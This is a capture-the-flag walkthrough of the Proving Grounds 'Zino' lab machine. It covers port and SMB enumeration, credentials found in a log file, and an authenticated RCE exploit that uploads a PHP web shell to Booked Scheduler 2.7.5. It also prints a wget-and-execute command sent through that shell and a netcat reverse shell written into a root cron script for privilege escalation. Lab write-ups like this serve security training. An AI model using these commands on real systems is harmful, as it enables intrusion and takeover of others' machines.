Proving Grounds: Zino Walkthrough
Machine Stats
Name
zino
OS
Linux
Rating
Intermediate
Enumeration
I started by running my standard nmap scan.
└─$ nmap -A -T4 -p- 192.168.182.64 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-20 18:50 EDT
Nmap scan report for 192.168.182.64
Host is up (0.092s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
| 256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
|_ 256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.49.182' is not allowed to connect to this MariaDB server
8003/tcp open http Apache httpd 2.4.38
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2019-02-05 21:02 booked/
|_
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.92%I=7%D=9/20%Time=632A4419%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4D,"I\0\0\x01\xffj\x04Host\x20'192\.168\.49\.182'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: ZINO, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h02m01s, deviation: 2h18m35s, median: -17m59s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-09-20T22:34:23
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: zino
| NetBIOS computer name: ZINO\x00
| Domain name: \x00
| FQDN: zino
|_ System time: 2022-09-20T18:34:24-04:00gto
Well this is an interesting host. I started with port 21, trying to login with guest access.
ftp> open
(to) 192.168.182.64
Connected to 192.168.182.64.
220 (vsFTPd 3.0.3)
Name (192.168.182.64:hack): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
Next, I looked at port 3306- the nmap output suggests this port is closed with an ACL.
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.49.182' is not allowed to connect to this MariaDB server
Next, I looked at port 445. The results looked very promising, so I decided against launching a hydra brute force against FTP.
└─$ smbmap -H 192.168.182.64 -R
[+] IP: 192.168.182.64:445 Name: 192.168.182.64
Disk Permissions Comment
---- ----------- -------
zino READ ONLY Logs
.\zino\*
dr--r--r-- 0 Thu Jul 9 15:11:49 2020 .
dr--r--r-- 0 Tue Apr 28 09:38:53 2020 ..
fr--r--r-- 0 Tue Apr 28 11:35:28 2020 .bash_history
fr--r--r-- 265 Tue Apr 28 10:07:32 2020 error.log
fr--r--r-- 220 Tue Apr 28 09:38:53 2020 .bash_logout
fr--r--r-- 33 Tue Sep 20 18:31:58 2022 local.txt
fr--r--r-- 3526 Tue Apr 28 09:38:53 2020 .bashrc
dr--r--r-- 0 Tue Apr 28 10:17:02 2020 .gnupg
fr--r--r-- 807 Tue Apr 28 09:38:53 2020 .profile
fr--r--r-- 424 Tue Apr 28 10:08:14 2020 misc.log
fr--r--r-- 368 Tue Apr 28 10:07:54 2020 auth.log
fr--r--r-- 5464 Tue Apr 28 10:07:09 2020 access.log
dr--r--r-- 0 Tue Apr 28 10:12:55 2020 ftp
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
User Account
I’m going to go into zino to get to local.txt using smbclient.
└─$ smbclient //192.168.182.64/zino -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 9 15:11:49 2020
.. D 0 Tue Apr 28 09:38:53 2020
.bash_history H 0 Tue Apr 28 11:35:28 2020
error.log N 265 Tue Apr 28 10:07:32 2020
.bash_logout H 220 Tue Apr 28 09:38:53 2020
local.txt N 33 Tue Sep 20 18:31:58 2022
.bashrc H 3526 Tue Apr 28 09:38:53 2020
.gnupg DH 0 Tue Apr 28 10:17:02 2020
.profile H 807 Tue Apr 28 09:38:53 2020
misc.log N 424 Tue Apr 28 10:08:15 2020
auth.log N 368 Tue Apr 28 10:07:54 2020
access.log N 5464 Tue Apr 28 10:07:09 2020
ftp D 0 Tue Apr 28 10:12:56 2020
smb: \> get local.txt
getting file \local.txt of size 33 as local.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \>
└─$ cat local.txt
b58a16196c5fffa66edd3e7f81f5b400
Privilege Escalation & Root Flag
Since zino had some additional .log files inside of it, I turned my attention to them.
misc.log
smb: \> get misc.log
getting file \misc.log of size 424 as misc.log (1.1 KiloBytes/sec) (average 0.6 KiloBytes/sec
└─$ cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin")
So we now have credentials to something. Presumably a web app. Let’s move on to auth.log.
smb: \> get auth.log
getting file \auth.log of size 368 as auth.log (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec)
└─$ cat auth.log
Apr 28 08:16:54 zino groupadd[1044]: new group: name=peter, GID=1001
Apr 28 08:16:54 zino useradd[1048]: new user: name=peter, UID=1001, GID=1001, home=/home/peter, shell=/bin/bash
Apr 28 08:17:01 zino passwd[1056]: pam_unix(passwd:chauthtok): password changed for peter
Apr 28 08:17:01 zino CRON[1058]: pam_unix(cron:session): session opened for user root by (uid=0)
The credentials may belong to this user peter. Tried unsuccessfully to login to ssh and ftp as them.
The peter user is also yielded if you run enum4linux.
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
access.log is the final file I looked at. There wasn’t anything to note other than that we have a web application at /booked.
192.168.234.30 - - [28/Apr/2020:08:26:08 -0400] "GET /booked/ HTTP/1.1" 200 223 "http://192.168.234.130:8003/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
Let’s look at what shows up at port 8003
I started running a feroxbuster crawl, which yielded some additional directories.
└─$ feroxbuster --url http://192.168.182.64:8003/booked 1 ⨯
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ???? ver: 2.7.0
───────────────────────────┬──────────────────────
???? Target Url │ http://192.168.182.64:8003/booked
???? Threads │ 50
???? Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
???? Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
???? Timeout (secs) │ 7
???? User-Agent │ feroxbuster/2.7.0
???? Config File │ /etc/feroxbuster/ferox-config.toml
???? HTTP methods │ [GET]
???? Recursion Depth │ 4
???? New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
???? Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 9l 28w 324c http://192.168.182.64:8003/booked => http://192.168.182.64:8003/booked/
301 GET 9l 28w 328c http://192.168.182.64:8003/booked/lib => http://192.168.182.64:8003/booked/lib/
301 GET 9l 28w 332c http://192.168.182.64:8003/booked/uploads => http://192.168.182.64:8003/booked/uploads/
301 GET 9l 28w 331c http://192.168.182.64:8003/booked/config => http://192.168.182.64:8003/booked/config/
301 GET 9l 28w 329c http://192.168.182.64:8003/booked/lang => http://192.168.182.64:8003/booked/lang/
301 GET 9l 28w 332c http://192.168.182.64:8003/booked/plugins => http://192.168.182.64:8003/booked/plugins/
301 GET 9l 28w 333c http://192.168.182.64:8003/booked/Controls => http://192.168.182.64:8003/booked/Controls/
301 GET 9l 28w 328c http://192.168.182.64:8003/booked/tpl => http://192.168.182.64:8003/booked/tpl/
301 GET 9l 28w 330c http://192.168.182.64:8003/booked/Pages => http://192.168.182.64:8003/booked/Pages/
301 GET 9l 28w 336c http://192.168.182.64:8003/booked/WebServices => http://192.168.182.64:8003/booked/WebServices/
301 GET 9l 28w 328c http://192.168.182.64:8003/booked/Web => http://192.168.182.64:8003/booked/Web/
301 GET 9l 28w 334c http://192.168.182.64:8003/booked/Web/admin => http://192.168.182.64:8003/booked/Web/admin/
301 GET 9l 28w 336c http://192.168.182.64:8003/booked/Web/scripts => http://192.168.182.64:8003/booked/Web/scripts/
301 GET 9l 28w 336c http://192.168.182.64:8003/booked/Web/uploads => http://192.168.182.64:8003/booked/Web/uploads/
301 GET 9l 28w 333c http://192.168.182.64:8003/booked/Web/ajax => http://192.168.182.64:8003/booked/Web/ajax/
301 GET 9l 28w 343c http://192.168.182.64:8003/booked/Web/uploads/images => http://192.168.182.64:8003/booked/Web/uploads/images/
301 GET 9l 28w 335c http://192.168.182.64:8003/booked/Web/export => http://192.168.182.64:8003/booked/Web/export/
301 GET 9l 28w 340c http://192.168.182.64:8003/booked/Web/attachments => http://192.168.182.64:8003/booked/Web/attachments/
301 GET 9l 28w 336c http://192.168.182.64:8003/booked/Web/reports => http://192.168.182.64:8003/booked/Web/reports/
301 GET 9l 28w 332c http://192.168.182.64:8003/booked/Web/css => http://192.168.182.64:8003/booked/Web/css/
301 GET 9l 28w 332c http://192.168.182.64:8003/booked/Web/img => http://192.168.182.64:8003/booked/Web/img/
301 GET 9l 28w 337c http://192.168.182.64:8003/booked/Web/Services => http://192.168.182.64:8003/booked/Web/Services/
301 GET 9l 28w 344c http://192.168.182.64:8003/booked/uploads/reservation => http://192.168.182.64:8003/booked/uploads/reservation/
301 GET 9l 28w 336c http://192.168.182.64:8003/booked/Web/install => http://192.168.182.64:8003/booked/Web/install/
301 GET 9l 28w 329c http://192.168.182.64:8003/booked/Jobs => http://192.168.182.64:8003/booked/Jobs/
301 GET 9l 28w 342c http://192.168.182.64:8003/booked/Web/Services/Help => http://192.168.182.64:8003/booked/Web/Services/Help/
301 GET 9l 28w 340c http://192.168.182.64:8003/booked/Web/uploads/tos => http://192.168.182.64:8003/booked/Web/uploads/tos/
Looking at the bottom of the /booked site, I see the following banner: “Booked Scheduler v2.7.5” Exploit DB search resulted in one interesting search result:
Booked Scheduler 2.7.5 – Remote Command Execution (RCE) (Authenticated)
The lightbulb went off and I decided to try the credentials we uncovered earlier while running the exploit.
└─$ python2 50594.py http://192.168.182.64:8003 admin adminadmin
[+] Logged in successfully.
[+] Uploaded shell successfully
[+] http://192.168.182.64:8003/booked/Web/custom-favicon.php?cmd=
()
It worked, so I decided to test the shell with curl.
└─$ curl http://192.168.182.64:8003/booked/Web/custom-favicon.php?cmd=whoami 2 ⨯
www-data
I did some heavy enumeration looking for stray config files that might yield database credentials, and also tried to get and execute a malicious executable via a URL-encoded curl command, but this did not work.
# wget 192.168.49.182/website-beacon && chmod +x website-beacon && ./website-beacon
# encoded to:
└─$ curl http://192.168.182.64:8003/booked/Web/custom-favicon.php?cmd=wget%20192.168.49.182%2Fwebsite-beacon%20%26%26%20chmod%20%2Bx%20website-beacon%20%26%26%20.%2Fwebsite-beacon
I then decided to go back and look at the original exploit and see what it was doing. I pulled out the relevant and interesting information from the source code as follows:
"Referer": target + "/booked/Web/admin/manage_theme.php?update"
data += "Content-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"simple_shell.php\"\r\n"
target+"/booked/Web/admin/manage_theme.php?action=update",
shell_req = request.get(target+"/booked/Web/custom-favicon.php"
Using this, I was able to piece together a sequence of actions to try. I decided to try uploading a php reverse shell- in this case, I modified pentestmonkey’s php-reverse-shell.php. I visited the url referenced in line 1 of the source code I pulled.
Once uploaded, I referenced the fourth line in the exploit to understand that the file was uploaded to /booked/Web/custom-favicon.php. I started a pwncat listener to catch the php reverse shell. I noticed that previous attempts to run a reverse shell did not work when run over a randomly selected port, so I selected one that was already open on the server- 8003.
└─$ ./pwncat-cs -lp 8003
[20:04:49] Welcome to pwncat ????!
bound to 0.0.0.0:8003
I visited the location /booked/Web/custom-favicon.php in the browser, and…
[20:04:56] received connection from 192.168.182.64:40192 bind.py:84
[20:04:58] 0.0.0.0:8003: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[20:04:59] 192.168.182.64:40192: registered new host w/ db manager.py:957
(local) pwncat$
Active Session: 192.168.182.64:40192
I then uploaded linpeas for enumeration purposes.
(local) pwncat$ upload /var/www/html/linpeas.sh /tmp/linpeas.sh
/tmp/linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 775.7/775.7 KB • ? • 0:00:00
[20:21:22] uploaded 775.71KiB in 2.25 seconds upload.py:76
(local) pwncat$ back
(remote) www-data@zino:/$ cd /tmp && chmod +x linpeas.sh && ./linpeas.sh
The following vector was highlighted:
*/3 * * * * root python /var/www/html/booked/cleanup.py
Let’s take a look at this file, cleanup.py:
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
print 'ERROR...'
sys.exit(0)
We have write permissions on this file so we can simply replace the os.system command with a reverse shell command. Let’s prepare another pwncat listener to catch it…
└─$ ~/.local/bin/pwncat-cs -lp 8003
[20:33:48] Welcome to pwncat ????!
bound to 0.0.0.0:8003
And now the final cleanup.py file, which will be executed on a recurring cron basis…
#!/usr/bin/env python
import os
import sys
try:
os.system('nc -nv 192.168.49.182 8003 -e /bin/bash')
except:
print 'ERROR...'
sys.exit(0)
After the change, it isn’t long until…
[20:36:01] received connection from 192.168.182.64:40210 bind.py:84
[20:36:04] 192.168.182.64:40210: registered new host w/ db
(remote) root@zino:/root# whoami
root
(remote) root@zino:/root# cat proof.txt
1513f99503b724bd5887e042070e29b9